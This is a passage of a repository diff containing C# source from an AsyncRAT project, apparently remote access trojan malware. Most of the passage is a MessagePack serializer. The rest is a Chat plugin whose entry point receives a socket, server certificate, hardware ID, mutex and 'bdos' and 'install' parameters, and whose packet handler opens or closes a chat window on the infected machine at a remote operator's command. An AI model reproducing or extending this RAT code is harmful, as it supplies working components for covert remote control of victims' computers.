private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

24
AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPackType.cs Normal file
View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

84
AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/ReadTools.cs Normal file
View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

199
AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/WriteTools.cs Normal file
View File

@ -0,0 +1,199 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

86
AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs Normal file
View File

@ -0,0 +1,86 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Plugin
{
public static class Packet
{
public static FormChat GetFormChat;
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "chat":
{
new HandlerChat().CreateChat();
break;
}
case "chatWriteInput":
{
new HandlerChat().WriteInput(unpack_msgpack);
break;
}
case "chatExit":
{
new HandlerChat().ExitChat();
break;
}
}
}
catch { }
}
}
public class HandlerChat
{
public void CreateChat()
{
new Thread(() =>
{
Packet.GetFormChat = new FormChat();
Packet.GetFormChat.ShowDialog();
}).Start();
}
public void WriteInput(MsgPack unpack_msgpack)
{
if (Packet.GetFormChat.InvokeRequired)
{
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
{
Console.Beep();
Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine);
}));
}
}
public void ExitChat()
{
if (Packet.GetFormChat.InvokeRequired)
{
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
{
Packet.GetFormChat?.Close();
Packet.GetFormChat?.Dispose();
}));
}
Connection.Disconnected();
GC.Collect();
}
}
}

33
AsyncRAT-C#/Plugin/Chat/Chat/Plugin.cs Normal file
View File

@ -0,0 +1,33 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public class Plugin
{
public static Socket Socket;
public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile)
{
Debug.WriteLine("Plugin Invoked");
Socket = socket;
Connection.ServerCertificate = certificate;
Connection.Hwid = hwid;
new Thread(() =>
{
Connection.InitializeClient();
}).Start();
while (Connection.IsConnected)
{
Thread.Sleep(1000);
}
}
}
}

36
AsyncRAT-C#/Plugin/Chat/Chat/Properties/AssemblyInfo.cs Normal file
View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
//[assembly: Guid("ee03faa9-c9e8-4766-bd4e-5cd54c7f13d3")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

25
AsyncRAT-C#/Plugin/Extra/Extra.sln Normal file
View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29123.88
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Extra", "Extra\Extra.csproj", "{424B81BE-2FAC-419F-B4BC-00CCBE38491F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Debug|Any CPU.Build.0 = Debug|Any CPU
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.ActiveCfg = Release|Any CPU
{424B81BE-2FAC-419F-B4BC-00CCBE38491F}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
